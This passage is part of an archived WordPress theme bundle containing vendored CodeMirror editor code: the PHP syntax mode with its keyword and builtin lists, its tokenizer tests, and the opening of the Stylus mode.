      if (info.file && info.file.test(filename)) return info;
    }
    var dot = filename.lastIndexOf(".");
    var ext = dot > -1 && filename.substring(dot + 1, filename.length);
    if (ext) return CodeMirror.findModeByExtension(ext);
  };

  CodeMirror.findModeByName = function(name) {
    name = name.toLowerCase();
    for (var i = 0; i < CodeMirror.modeInfo.length; i++) {
      var info = CodeMirror.modeInfo[i];
      if (info.name.toLowerCase() == name) return info;
      if (info.alias) for (var j = 0; j < info.alias.length; j++)
        if (info.alias[j].toLowerCase() == name) return info;
    }
  };
});
PK     N\U G  G  D  inc/customizer/framework/assets/js/vendor/codemirror/mode/php/php.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"), require("../htmlmixed/htmlmixed"), require("../clike/clike"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror", "../htmlmixed/htmlmixed", "../clike/clike"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  function keywords(str) {
    var obj = {}, words = str.split(" ");
    for (var i = 0; i < words.length; ++i) obj[words[i]] = true;
    return obj;
  }

  // Helper for phpString
  function matchSequence(list, end, escapes) {
    if (list.length == 0) return phpString(end);
    return function (stream, state) {
      var patterns = list[0];
      for (var i = 0; i < patterns.length; i++) if (stream.match(patterns[i][0])) {
        state.tokenize = matchSequence(list.slice(1), end);
        return patterns[i][1];
      }
      state.tokenize = phpString(end, escapes);
      return "string";
    };
  }
  function phpString(closing, escapes) {
    return function(stream, state) { return phpString_(stream, state, closing, escapes); };
  }
  function phpString_(stream, state, closing, escapes) {
    // "Complex" syntax
    if (escapes !== false && stream.match("${", false) || stream.match("{$", false)) {
      state.tokenize = null;
      return "string";
    }

    // Simple syntax
    if (escapes !== false && stream.match(/^\$[a-zA-Z_][a-zA-Z0-9_]*/)) {
      // After the variable name there may appear array or object operator.
      if (stream.match("[", false)) {
        // Match array operator
        state.tokenize = matchSequence([
          [["[", null]],
          [[/\d[\w\.]*/, "number"],
           [/\$[a-zA-Z_][a-zA-Z0-9_]*/, "variable-2"],
           [/[\w\$]+/, "variable"]],
          [["]", null]]
        ], closing, escapes);
      }
      if (stream.match(/\-\>\w/, false)) {
        // Match object operator
        state.tokenize = matchSequence([
          [["->", null]],
          [[/[\w]+/, "variable"]]
        ], closing, escapes);
      }
      return "variable-2";
    }

    var escaped = false;
    // Normal string
    while (!stream.eol() &&
           (escaped || escapes === false ||
            (!stream.match("{$", false) &&
             !stream.match(/^(\$[a-zA-Z_][a-zA-Z0-9_]*|\$\{)/, false)))) {
      if (!escaped && stream.match(closing)) {
        state.tokenize = null;
        state.tokStack.pop(); state.tokStack.pop();
        break;
      }
      escaped = stream.next() == "\\" && !escaped;
    }
    return "string";
  }

  var phpKeywords = "abstract and array as break case catch class clone const continue declare default " +
    "do else elseif enddeclare endfor endforeach endif endswitch endwhile extends final " +
    "for foreach function global goto if implements interface instanceof namespace " +
    "new or private protected public static switch throw trait try use var while xor " +
    "die echo empty exit eval include include_once isset list require require_once return " +
    "print unset __halt_compiler self static parent yield insteadof finally";
  var phpAtoms = "true false null TRUE FALSE NULL __CLASS__ __DIR__ __FILE__ __LINE__ __METHOD__ __FUNCTION__ __NAMESPACE__ __TRAIT__";
  var phpBuiltin = "func_num_args func_get_arg func_get_args strlen strcmp strncmp strcasecmp strncasecmp each error_reporting define defined trigger_error user_error set_error_handler restore_error_handler get_declared_classes get_loaded_extensions extension_loaded get_extension_funcs debug_backtrace constant bin2hex hex2bin sleep usleep time mktime gmmktime strftime gmstrftime strtotime date gmdate getdate localtime checkdate flush wordwrap htmlspecialchars htmlentities html_entity_decode md5 md5_file crc32 getimagesize image_type_to_mime_type phpinfo phpversion phpcredits strnatcmp strnatcasecmp substr_count strspn strcspn strtok strtoupper strtolower strpos strrpos strrev hebrev hebrevc nl2br basename dirname pathinfo stripslashes stripcslashes strstr stristr strrchr str_shuffle str_word_count strcoll substr substr_replace quotemeta ucfirst ucwords strtr addslashes addcslashes rtrim str_replace str_repeat count_chars chunk_split trim ltrim strip_tags similar_text explode implode setlocale localeconv parse_str str_pad chop strchr sprintf printf vprintf vsprintf sscanf fscanf parse_url urlencode urldecode rawurlencode rawurldecode readlink linkinfo link unlink exec system escapeshellcmd escapeshellarg passthru shell_exec proc_open proc_close rand srand getrandmax mt_rand mt_srand mt_getrandmax base64_decode base64_encode abs ceil floor round is_finite is_nan is_infinite bindec hexdec octdec decbin decoct dechex base_convert number_format fmod ip2long long2ip getenv putenv getopt microtime gettimeofday getrusage uniqid quoted_printable_decode set_time_limit get_cfg_var magic_quotes_runtime set_magic_quotes_runtime get_magic_quotes_gpc get_magic_quotes_runtime import_request_variables error_log serialize unserialize memory_get_usage var_dump var_export debug_zval_dump print_r highlight_file show_source highlight_string ini_get ini_get_all ini_set ini_alter ini_restore get_include_path set_include_path restore_include_path setcookie header headers_sent connection_aborted connection_status ignore_user_abort parse_ini_file is_uploaded_file move_uploaded_file intval floatval doubleval strval gettype settype is_null is_resource is_bool is_long is_float is_int is_integer is_double is_real is_numeric is_string is_array is_object is_scalar ereg ereg_replace eregi eregi_replace split spliti join sql_regcase dl pclose popen readfile rewind rmdir umask fclose feof fgetc fgets fgetss fread fopen fpassthru ftruncate fstat fseek ftell fflush fwrite fputs mkdir rename copy tempnam tmpfile file file_get_contents file_put_contents stream_select stream_context_create stream_context_set_params stream_context_set_option stream_context_get_options stream_filter_prepend stream_filter_append fgetcsv flock get_meta_tags stream_set_write_buffer set_file_buffer set_socket_blocking stream_set_blocking socket_set_blocking stream_get_meta_data stream_register_wrapper stream_wrapper_register stream_set_timeout socket_set_timeout socket_get_status realpath fnmatch fsockopen pfsockopen pack unpack get_browser crypt opendir closedir chdir getcwd rewinddir readdir dir glob fileatime filectime filegroup fileinode filemtime fileowner fileperms filesize filetype file_exists is_writable is_writeable is_readable is_executable is_file is_dir is_link stat lstat chown touch clearstatcache mail ob_start ob_flush ob_clean ob_end_flush ob_end_clean ob_get_flush ob_get_clean ob_get_length ob_get_level ob_get_status ob_get_contents ob_implicit_flush ob_list_handlers ksort krsort natsort natcasesort asort arsort sort rsort usort uasort uksort shuffle array_walk count end prev next reset current key min max in_array array_search extract compact array_fill range array_multisort array_push array_pop array_shift array_unshift array_splice array_slice array_merge array_merge_recursive array_keys array_values array_count_values array_reverse array_reduce array_pad array_flip array_change_key_case array_rand array_unique array_intersect array_intersect_assoc array_diff array_diff_assoc array_sum array_filter array_map array_chunk array_key_exists pos sizeof key_exists assert assert_options version_compare ftok str_rot13 aggregate session_name session_module_name session_save_path session_id session_regenerate_id session_decode session_register session_unregister session_is_registered session_encode session_start session_destroy session_unset session_set_save_handler session_cache_limiter session_cache_expire session_set_cookie_params session_get_cookie_params session_write_close preg_match preg_match_all preg_replace preg_replace_callback preg_split preg_quote preg_grep overload ctype_alnum ctype_alpha ctype_cntrl ctype_digit ctype_lower ctype_graph ctype_print ctype_punct ctype_space ctype_upper ctype_xdigit virtual apache_request_headers apache_note apache_lookup_uri apache_child_terminate apache_setenv apache_response_headers apache_get_version getallheaders mysql_connect mysql_pconnect mysql_close mysql_select_db mysql_create_db mysql_drop_db mysql_query mysql_unbuffered_query mysql_db_query mysql_list_dbs mysql_list_tables mysql_list_fields mysql_list_processes mysql_error mysql_errno mysql_affected_rows mysql_insert_id mysql_result mysql_num_rows mysql_num_fields mysql_fetch_row mysql_fetch_array mysql_fetch_assoc mysql_fetch_object mysql_data_seek mysql_fetch_lengths mysql_fetch_field mysql_field_seek mysql_free_result mysql_field_name mysql_field_table mysql_field_len mysql_field_type mysql_field_flags mysql_escape_string mysql_real_escape_string mysql_stat mysql_thread_id mysql_client_encoding mysql_get_client_info mysql_get_host_info mysql_get_proto_info mysql_get_server_info mysql_info mysql mysql_fieldname mysql_fieldtable mysql_fieldlen mysql_fieldtype mysql_fieldflags mysql_selectdb mysql_createdb mysql_dropdb mysql_freeresult mysql_numfields mysql_numrows mysql_listdbs mysql_listtables mysql_listfields mysql_db_name mysql_dbname mysql_tablename mysql_table_name pg_connect pg_pconnect pg_close pg_connection_status pg_connection_busy pg_connection_reset pg_host pg_dbname pg_port pg_tty pg_options pg_ping pg_query pg_send_query pg_cancel_query pg_fetch_result pg_fetch_row pg_fetch_assoc pg_fetch_array pg_fetch_object pg_fetch_all pg_affected_rows pg_get_result pg_result_seek pg_result_status pg_free_result pg_last_oid pg_num_rows pg_num_fields pg_field_name pg_field_num pg_field_size pg_field_type pg_field_prtlen pg_field_is_null pg_get_notify pg_get_pid pg_result_error pg_last_error pg_last_notice pg_put_line pg_end_copy pg_copy_to pg_copy_from pg_trace pg_untrace pg_lo_create pg_lo_unlink pg_lo_open pg_lo_close pg_lo_read pg_lo_write pg_lo_read_all pg_lo_import pg_lo_export pg_lo_seek pg_lo_tell pg_escape_string pg_escape_bytea pg_unescape_bytea pg_client_encoding pg_set_client_encoding pg_meta_data pg_convert pg_insert pg_update pg_delete pg_select pg_exec pg_getlastoid pg_cmdtuples pg_errormessage pg_numrows pg_numfields pg_fieldname pg_fieldsize pg_fieldtype pg_fieldnum pg_fieldprtlen pg_fieldisnull pg_freeresult pg_result pg_loreadall pg_locreate pg_lounlink pg_loopen pg_loclose pg_loread pg_lowrite pg_loimport pg_loexport http_response_code get_declared_traits getimagesizefromstring socket_import_stream stream_set_chunk_size trait_exists header_register_callback class_uses session_status session_register_shutdown echo print global static exit array empty eval isset unset die include require include_once require_once json_decode json_encode json_last_error json_last_error_msg curl_close curl_copy_handle curl_errno curl_error curl_escape curl_exec curl_file_create curl_getinfo curl_init curl_multi_add_handle curl_multi_close curl_multi_exec curl_multi_getcontent curl_multi_info_read curl_multi_init curl_multi_remove_handle curl_multi_select curl_multi_setopt curl_multi_strerror curl_pause curl_reset curl_setopt_array curl_setopt curl_share_close curl_share_init curl_share_setopt curl_strerror curl_unescape curl_version mysqli_affected_rows mysqli_autocommit mysqli_change_user mysqli_character_set_name mysqli_close mysqli_commit mysqli_connect_errno mysqli_connect_error mysqli_connect mysqli_data_seek mysqli_debug mysqli_dump_debug_info mysqli_errno mysqli_error_list mysqli_error mysqli_fetch_all mysqli_fetch_array mysqli_fetch_assoc mysqli_fetch_field_direct mysqli_fetch_field mysqli_fetch_fields mysqli_fetch_lengths mysqli_fetch_object mysqli_fetch_row mysqli_field_count mysqli_field_seek mysqli_field_tell mysqli_free_result mysqli_get_charset mysqli_get_client_info mysqli_get_client_stats mysqli_get_client_version mysqli_get_connection_stats mysqli_get_host_info mysqli_get_proto_info mysqli_get_server_info mysqli_get_server_version mysqli_info mysqli_init mysqli_insert_id mysqli_kill mysqli_more_results mysqli_multi_query mysqli_next_result mysqli_num_fields mysqli_num_rows mysqli_options mysqli_ping mysqli_prepare mysqli_query mysqli_real_connect mysqli_real_escape_string mysqli_real_query mysqli_reap_async_query mysqli_refresh mysqli_rollback mysqli_select_db mysqli_set_charset mysqli_set_local_infile_default mysqli_set_local_infile_handler mysqli_sqlstate mysqli_ssl_set mysqli_stat mysqli_stmt_init mysqli_store_result mysqli_thread_id mysqli_thread_safe mysqli_use_result mysqli_warning_count";
  CodeMirror.registerHelper("hintWords", "php", [phpKeywords, phpAtoms, phpBuiltin].join(" ").split(" "));
  CodeMirror.registerHelper("wordChars", "php", /[\w$]/);

  var phpConfig = {
    name: "clike",
    helperType: "php",
    keywords: keywords(phpKeywords),
    blockKeywords: keywords("catch do else elseif for foreach if switch try while finally"),
    defKeywords: keywords("class function interface namespace trait"),
    atoms: keywords(phpAtoms),
    builtin: keywords(phpBuiltin),
    multiLineStrings: true,
    hooks: {
      "$": function(stream) {
        stream.eatWhile(/[\w\$_]/);
        return "variable-2";
      },
      "<": function(stream, state) {
        var before;
        if (before = stream.match(/<<\s*/)) {
          var quoted = stream.eat(/['"]/);
          stream.eatWhile(/[\w\.]/);
          var delim = stream.current().slice(before[0].length + (quoted ? 2 : 1));
          if (quoted) stream.eat(quoted);
          if (delim) {
            (state.tokStack || (state.tokStack = [])).push(delim, 0);
            state.tokenize = phpString(delim, quoted != "'");
            return "string";
          }
        }
        return false;
      },
      "#": function(stream) {
        while (!stream.eol() && !stream.match("?>", false)) stream.next();
        return "comment";
      },
      "/": function(stream) {
        if (stream.eat("/")) {
          while (!stream.eol() && !stream.match("?>", false)) stream.next();
          return "comment";
        }
        return false;
      },
      '"': function(_stream, state) {
        (state.tokStack || (state.tokStack = [])).push('"', 0);
        state.tokenize = phpString('"');
        return "string";
      },
      "{": function(_stream, state) {
        if (state.tokStack && state.tokStack.length)
          state.tokStack[state.tokStack.length - 1]++;
        return false;
      },
      "}": function(_stream, state) {
        if (state.tokStack && state.tokStack.length > 0 &&
            !--state.tokStack[state.tokStack.length - 1]) {
          state.tokenize = phpString(state.tokStack[state.tokStack.length - 2]);
        }
        return false;
      }
    }
  };

  CodeMirror.defineMode("php", function(config, parserConfig) {
    var htmlMode = CodeMirror.getMode(config, "text/html");
    var phpMode = CodeMirror.getMode(config, phpConfig);

    function dispatch(stream, state) {
      var isPHP = state.curMode == phpMode;
      if (stream.sol() && state.pending && state.pending != '"' && state.pending != "'") state.pending = null;
      if (!isPHP) {
        if (stream.match(/^<\?\w*/)) {
          state.curMode = phpMode;
          if (!state.php) state.php = CodeMirror.startState(phpMode, htmlMode.indent(state.html, ""))
          state.curState = state.php;
          return "meta";
        }
        if (state.pending == '"' || state.pending == "'") {
          while (!stream.eol() && stream.next() != state.pending) {}
          var style = "string";
        } else if (state.pending && stream.pos < state.pending.end) {
          stream.pos = state.pending.end;
          var style = state.pending.style;
        } else {
          var style = htmlMode.token(stream, state.curState);
        }
        if (state.pending) state.pending = null;
        var cur = stream.current(), openPHP = cur.search(/<\?/), m;
        if (openPHP != -1) {
          if (style == "string" && (m = cur.match(/[\'\"]$/)) && !/\?>/.test(cur)) state.pending = m[0];
          else state.pending = {end: stream.pos, style: style};
          stream.backUp(cur.length - openPHP);
        }
        return style;
      } else if (isPHP && state.php.tokenize == null && stream.match("?>")) {
        state.curMode = htmlMode;
        state.curState = state.html;
        if (!state.php.context.prev) state.php = null;
        return "meta";
      } else {
        return phpMode.token(stream, state.curState);
      }
    }

    return {
      startState: function() {
        var html = CodeMirror.startState(htmlMode)
        var php = parserConfig.startOpen ? CodeMirror.startState(phpMode) : null
        return {html: html,
                php: php,
                curMode: parserConfig.startOpen ? phpMode : htmlMode,
                curState: parserConfig.startOpen ? php : html,
                pending: null};
      },

      copyState: function(state) {
        var html = state.html, htmlNew = CodeMirror.copyState(htmlMode, html),
            php = state.php, phpNew = php && CodeMirror.copyState(phpMode, php), cur;
        if (state.curMode == htmlMode) cur = htmlNew;
        else cur = phpNew;
        return {html: htmlNew, php: phpNew, curMode: state.curMode, curState: cur,
                pending: state.pending};
      },

      token: dispatch,

      indent: function(state, textAfter) {
        if ((state.curMode != phpMode && /^\s*<\//.test(textAfter)) ||
            (state.curMode == phpMode && /^\?>/.test(textAfter)))
          return htmlMode.indent(state.html, textAfter);
        return state.curMode.indent(state.curState, textAfter);
      },

      blockCommentStart: "/*",
      blockCommentEnd: "*/",
      lineComment: "//",

      innerMode: function(state) { return {state: state.curState, mode: state.curMode}; }
    };
  }, "htmlmixed", "clike");

  CodeMirror.defineMIME("application/x-httpd-php", "php");
  CodeMirror.defineMIME("application/x-httpd-php-open", {name: "php", startOpen: true});
  CodeMirror.defineMIME("text/x-php", phpConfig);
});
PK     N\    E  inc/customizer/framework/assets/js/vendor/codemirror/mode/php/test.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function() {
  var mode = CodeMirror.getMode({indentUnit: 2}, "php");
  function MT(name) { test.mode(name, mode, Array.prototype.slice.call(arguments, 1)); }

  MT('simple_test',
     '[meta <?php] ' +
     '[keyword echo] [string "aaa"]; ' +
     '[meta ?>]');

  MT('variable_interpolation_non_alphanumeric',
     '[meta <?php]',
     '[keyword echo] [string "aaa$~$!$@$#$$$%$^$&$*$($)$.$<$>$/$\\$}$\\\"$:$;$?$|$[[$]]$+$=aaa"]',
     '[meta ?>]');

  MT('variable_interpolation_digits',
     '[meta <?php]',
     '[keyword echo] [string "aaa$1$2$3$4$5$6$7$8$9$0aaa"]',
     '[meta ?>]');

  MT('variable_interpolation_simple_syntax_1',
     '[meta <?php]',
     '[keyword echo] [string "aaa][variable-2 $aaa][string .aaa"];',
     '[meta ?>]');

  MT('variable_interpolation_simple_syntax_2',
     '[meta <?php]',
     '[keyword echo] [string "][variable-2 $aaaa][[','[number 2]',         ']][string aa"];',
     '[keyword echo] [string "][variable-2 $aaaa][[','[number 2345]',      ']][string aa"];',
     '[keyword echo] [string "][variable-2 $aaaa][[','[number 2.3]',       ']][string aa"];',
     '[keyword echo] [string "][variable-2 $aaaa][[','[variable aaaaa]',   ']][string aa"];',
     '[keyword echo] [string "][variable-2 $aaaa][[','[variable-2 $aaaaa]',']][string aa"];',

     '[keyword echo] [string "1aaa][variable-2 $aaaa][[','[number 2]',         ']][string aa"];',
     '[keyword echo] [string "aaa][variable-2 $aaaa][[','[number 2345]',      ']][string aa"];',
     '[keyword echo] [string "aaa][variable-2 $aaaa][[','[number 2.3]',       ']][string aa"];',
     '[keyword echo] [string "aaa][variable-2 $aaaa][[','[variable aaaaa]',   ']][string aa"];',
     '[keyword echo] [string "aaa][variable-2 $aaaa][[','[variable-2 $aaaaa]',']][string aa"];',
     '[meta ?>]');

  MT('variable_interpolation_simple_syntax_3',
     '[meta <?php]',
     '[keyword echo] [string "aaa][variable-2 $aaaa]->[variable aaaaa][string .aaaaaa"];',
     '[keyword echo] [string "aaa][variable-2 $aaaa][string ->][variable-2 $aaaaa][string .aaaaaa"];',
     '[keyword echo] [string "aaa][variable-2 $aaaa]->[variable aaaaa][string [[2]].aaaaaa"];',
     '[keyword echo] [string "aaa][variable-2 $aaaa]->[variable aaaaa][string ->aaaa2.aaaaaa"];',
     '[meta ?>]');

  MT('variable_interpolation_escaping',
     '[meta <?php] [comment /* Escaping */]',
     '[keyword echo] [string "aaa\\$aaaa->aaa.aaa"];',
     '[keyword echo] [string "aaa\\$aaaa[[2]]aaa.aaa"];',
     '[keyword echo] [string "aaa\\$aaaa[[asd]]aaa.aaa"];',
     '[keyword echo] [string "aaa{\\$aaaa->aaa.aaa"];',
     '[keyword echo] [string "aaa{\\$aaaa[[2]]aaa.aaa"];',
     '[keyword echo] [string "aaa{\\aaaaa[[asd]]aaa.aaa"];',
     '[keyword echo] [string "aaa\\${aaaa->aaa.aaa"];',
     '[keyword echo] [string "aaa\\${aaaa[[2]]aaa.aaa"];',
     '[keyword echo] [string "aaa\\${aaaa[[asd]]aaa.aaa"];',
     '[meta ?>]');

  MT('variable_interpolation_complex_syntax_1',
     '[meta <?php]',
     '[keyword echo] [string "aaa][variable-2 $]{[variable aaaa]}[string ->aaa.aaa"];',
     '[keyword echo] [string "aaa][variable-2 $]{[variable-2 $aaaa]}[string ->aaa.aaa"];',
     '[keyword echo] [string "aaa][variable-2 $]{[variable-2 $aaaa][[','  [number 42]',']]}[string ->aaa.aaa"];',
     '[keyword echo] [string "aaa][variable-2 $]{[variable aaaa][meta ?>]aaaaaa');

  MT('variable_interpolation_complex_syntax_2',
     '[meta <?php] [comment /* Monsters */]',
     '[keyword echo] [string "][variable-2 $]{[variable aaa][comment /*}?>} $aaa<?php } */]}[string ->aaa.aaa"];',
     '[keyword echo] [string "][variable-2 $]{[variable aaa][comment /*}?>*/][[','  [string "aaa][variable-2 $aaa][string {}][variable-2 $]{[variable aaa]}[string "]',']]}[string ->aaa.aaa"];',
     '[keyword echo] [string "][variable-2 $]{[variable aaa][comment /*} } $aaa } */]}[string ->aaa.aaa"];');


  function build_recursive_monsters(nt, t, n){
    var monsters = [t];
    for (var i = 1; i <= n; ++i)
      monsters[i] = nt.join(monsters[i - 1]);
    return monsters;
  }

  var m1 = build_recursive_monsters(
    ['[string "][variable-2 $]{[variable aaa] [operator +] ', '}[string "]'],
    '[comment /* }?>} */] [string "aaa][variable-2 $aaa][string .aaa"]',
    10
  );

  MT('variable_interpolation_complex_syntax_3_1',
     '[meta <?php] [comment /* Recursive monsters */]',
     '[keyword echo] ' + m1[4] + ';',
     '[keyword echo] ' + m1[7] + ';',
     '[keyword echo] ' + m1[8] + ';',
     '[keyword echo] ' + m1[5] + ';',
     '[keyword echo] ' + m1[1] + ';',
     '[keyword echo] ' + m1[6] + ';',
     '[keyword echo] ' + m1[9] + ';',
     '[keyword echo] ' + m1[0] + ';',
     '[keyword echo] ' + m1[10] + ';',
     '[keyword echo] ' + m1[2] + ';',
     '[keyword echo] ' + m1[3] + ';',
     '[keyword echo] [string "end"];',
     '[meta ?>]');

  var m2 = build_recursive_monsters(
    ['[string "a][variable-2 $]{[variable aaa] [operator +] ', ' [operator +] ', '}[string .a"]'],
    '[comment /* }?>{{ */] [string "a?>}{{aa][variable-2 $aaa][string .a}a?>a"]',
    5
  );

  MT('variable_interpolation_complex_syntax_3_2',
     '[meta <?php] [comment /* Recursive monsters 2 */]',
     '[keyword echo] ' + m2[0] + ';',
     '[keyword echo] ' + m2[1] + ';',
     '[keyword echo] ' + m2[5] + ';',
     '[keyword echo] ' + m2[4] + ';',
     '[keyword echo] ' + m2[2] + ';',
     '[keyword echo] ' + m2[3] + ';',
     '[keyword echo] [string "end"];',
     '[meta ?>]');

  function build_recursive_monsters_2(mf1, mf2, nt, t, n){
    var monsters = [t];
    for (var i = 1; i <= n; ++i)
      monsters[i] = nt[0] + mf1[i - 1] + nt[1] + mf2[i - 1] + nt[2] + monsters[i - 1] + nt[3];
    return monsters;
  }

  var m3 = build_recursive_monsters_2(
    m1,
    m2,
    ['[string "a][variable-2 $]{[variable aaa] [operator +] ', ' [operator +] ', ' [operator +] ', '}[string .a"]'],
    '[comment /* }?>{{ */] [string "a?>}{{aa][variable-2 $aaa][string .a}a?>a"]',
    4
  );

  MT('variable_interpolation_complex_syntax_3_3',
     '[meta <?php] [comment /* Recursive monsters 2 */]',
     '[keyword echo] ' + m3[4] + ';',
     '[keyword echo] ' + m3[0] + ';',
     '[keyword echo] ' + m3[3] + ';',
     '[keyword echo] ' + m3[1] + ';',
     '[keyword echo] ' + m3[2] + ';',
     '[keyword echo] [string "end"];',
     '[meta ?>]');

  MT("variable_interpolation_heredoc",
     "[meta <?php]",
     "[string <<<here]",
     "[string doc ][variable-2 $]{[variable yay]}[string more]",
     "[string here]; [comment // normal]");
})();
PK     N\;    J  inc/customizer/framework/assets/js/vendor/codemirror/mode/stylus/stylus.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

// Stylus mode created by Dmitry Kiselyov http://git.io/AaRB

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  CodeMirror.defineMode("stylus", function(config) {
    var indentUnit = config.indentUnit,
        tagKeywords = keySet(tagKeywords_),
        tagVariablesRegexp = /^(a|b|i|s|col|em)$/i,
        propertyKeywords = keySet(propertyKeywords_),
        nonStandardPropertyKeywords = keySet(nonStandardPropertyKeywords_),
        valueKeywords = keySet(valueKeywords_),
        colorKeywords = keySet(colorKeywords_),
        documentTypes = keySet(documentTypes_),
        documentTypesRegexp = wordRegexp(documentTypes_),
        mediaFeatures = keySet(mediaFeatures_),
        mediaTypes = keySet(mediaTypes_),
        fontProperties = keySet(fontProperties_),
        operatorsRegexp = /^\s*([.]{2,3}|&&|\|\||\*\*|[?!=:]?=|[-+*\/%<>]=?|\?:|\~)/,
        wordOperatorKeywordsRegexp = wordRegexp(wordOperatorKeywords_),
        blockKeywords = keySet(blockKeywords_),
        vendorPrefixesRegexp = new RegExp(/^\-(moz|ms|o|webkit)-/i),
        commonAtoms = keySet(commonAtoms_),
        firstWordMatch = "",
        states = {},
        ch,
        style,
        type,
        override;

    /**
     * Tokenizers
     */
    function tokenBase(stream, state) {
      firstWordMatch = stream.string.match(/(^[\w-]+\s*=\s*$)|(^\s*[\w-]+\s*=\s*[\w-])|(^\s*(\.|#|@|\$|\&|\[|\d|\+|::?|\{|\>|~|\/)?\s*[\w-]*([a-z0-9-]|\*|\/\*)(\(|,)?)/);
      state.context.line.firstWord = firstWordMatch ? firstWordMatch[0].replace(/^\s*/, "") : "";
      state.context.line.indent = stream.indentation();
      ch = stream.peek();

      // Line comment
      if (stream.match("//")) {
        stream.skipToEnd();
        return ["comment", "comment"];
      }
      // Block comment
      if (stream.match("/*")) {
        state.tokenize = tokenCComment;
        return tokenCComment(stream, state);
      }
      // String
      if (ch == "\"" || ch == "'") {
        stream.next();
        state.tokenize = tokenString(ch);
        return state.tokenize(stream, state);
      }
      // Def
      if (ch == "@") {
        stream.next();
        stream.eatWhile(/[\w\\-]/);
        return ["def", stream.current()];
      }
      // ID selector or Hex color
      if (ch == "#") {
        stream.next();
        // Hex color
        if (stream.match(/^[0-9a-f]{6}|[0-9a-f]{3}/i)) {
          return ["atom", "atom"];
        }
        // ID selector
        if (stream.match(/^[a-z][\w-]*/i)) {
          return ["builtin", "hash"];
        }
      }
      // Vendor prefixes
      if (stream.match(vendorPrefixesRegexp)) {
        return ["meta", "vendor-prefixes"];
      }
      // Numbers
      if (stream.match(/^-?[0-9]?\.?[0-9]/)) {
        stream.eatWhile(/[a-z%]/i);
        return ["number", "unit"];
      }
      // !important|optional
      if (ch == "!") {
        stream.next();
        return [stream.match(/^(important|optional)/i) ? "keyword": "operator", "important"];
      }
      // Class
      if (ch == "." && stream.match(/^\.[a-z][\w-]*/i)) {
        return ["qualifier", "qualifier"];
      }
      // url url-prefix domain regexp
      if (stream.match(documentTypesRegexp)) {
        if (stream.peek() == "(") state.tokenize = tokenParenthesized;
        return ["property", "word"];
      }
      // Mixins / Functions
      if (stream.match(/^[a-z][\w-]*\(/i)) {
        stream.backUp(1);
        return ["keyword", "mixin"];
      }
      // Block mixins
      if (stream.match(/^(\+|-)[a-z][\w-]*\(/i)) {
        stream.backUp(1);
        return ["keyword", "block-mixin"];
      }
      // Parent Reference BEM naming
      if (stream.string.match(/^\s*&/) && stream.match(/^[-_]+[a-z][\w-]*/)) {
        return ["qualifier", "qualifier"];
      }
      // / Root Reference & Parent Reference
      if (stream.match(/^(\/|&)(-|_|:|\.|#|[a-z])/)) {
        stream.backUp(1);
        return ["variable-3", "reference"];
      }
      if (stream.match(/^&{1}\s*$/)) {
        return ["variable-3", "reference"];
      }
      // Word operator
      if (stream.match(wordOperatorKeywordsRegexp)) {
        return ["operator", "operator"];
      }
      // Word
      if (stream.match(/^\$?[-_]*[a-z0-9]+[\w-]*/i)) {
        // Variable
        if (stream.match(/^(\.|\[)[\w-\'\"\]]+/i, false)) {
          if (!wordIsTag(stream.current())) {
            stream.match(/\./);
            return ["variable-2", "variable-name"];
          }
        }
        return ["variable-2", "word"];
      }
      // Operators
      if (stream.match(operatorsRegexp)) {
        return ["operator", stream.current()];
      }
      // Delimiters
      if (/[:;,{}\[\]\(\)]/.test(ch)) {
        stream.next();
        return [null, ch];
      }
      // Non-detected items
      stream.next();
      return [null, null];
    }

    /**
     * Token comment
     */
    function tokenCComment(stream, state) {
      var maybeEnd = false, ch;
      while ((ch = stream.next()) != null) {
        if (maybeEnd && ch == "/") {
          state.tokenize = null;
          break;
        }
        maybeEnd = (ch == "*");
      }
      return ["comment", "comment"];
    }

    /**
     * Token string
     */
    function tokenString(quote) {
      return function(stream, state) {
        var escaped = false, ch;
        while ((ch = stream.next()) != null) {
          if (ch == quote && !escaped) {
            if (quote == ")") stream.backUp(1);
            break;
          }
          escaped = !escaped && ch == "\\";
        }
        if (ch == quote || !escaped && quote != ")") state.tokenize = null;
        return ["string", "string"];
      };
    }

    /**
     * Token parenthesized
     */
    function tokenParenthesized(stream, state) {
      stream.next(); // Must be "("
      if (!stream.match(/\s*[\"\')]/, false))
        state.tokenize = tokenString(")");
      else
        state.tokenize = null;
      return [null, "("];
    }

    /**
     * Context management
     */
    function Context(type, indent, prev, line) {
      this.type = type;
      this.indent = indent;
      this.prev = prev;
      this.line = line || {firstWord: "", indent: 0};
    }

    function pushContext(state, stream, type, indent) {
      indent = indent >= 0 ? indent : indentUnit;
      state.context = new Context(type, stream.indentation() + indent, state.context);
      return type;
    }

    function popContext(state, currentIndent) {
      var contextIndent = state.context.indent - indentUnit;
      currentIndent = currentIndent || false;
      state.context = state.context.prev;
      if (currentIndent) state.context.indent = contextIndent;
      return state.context.type;
    }

    function pass(type, stream, state) {
      return states[state.context.type](type, stream, state);
    }

    function popAndPass(type, stream, state, n) {
      for (var i = n || 1; i > 0; i--)
        state.context = state.context.prev;
      return pass(type, stream, state);
    }


    /**
     * Parser
     */
    function wordIsTag(word) {
      return word.toLowerCase() in tagKeywords;
    }

    function wordIsProperty(word) {
      word = word.toLowerCase();
      return word in propertyKeywords || word in fontProperties;
    }

    function wordIsBlock(word) {
      return word.toLowerCase() in blockKeywords;
    }

    function wordIsVendorPrefix(word) {
      return word.toLowerCase().match(vendorPrefixesRegexp);
    }

    function wordAsValue(word) {
      var wordLC = word.toLowerCase();
      var override = "variable-2";
      if (wordIsTag(word)) override = "tag";
      else if (wordIsBlock(word)) override = "block-keyword";
      else if (wordIsProperty(word)) override = "property";
      else if (wordLC in valueKeywords || wordLC in commonAtoms) override = "atom";
      else if (wordLC == "return" || wordLC in colorKeywords) override = "keyword";

      // Font family
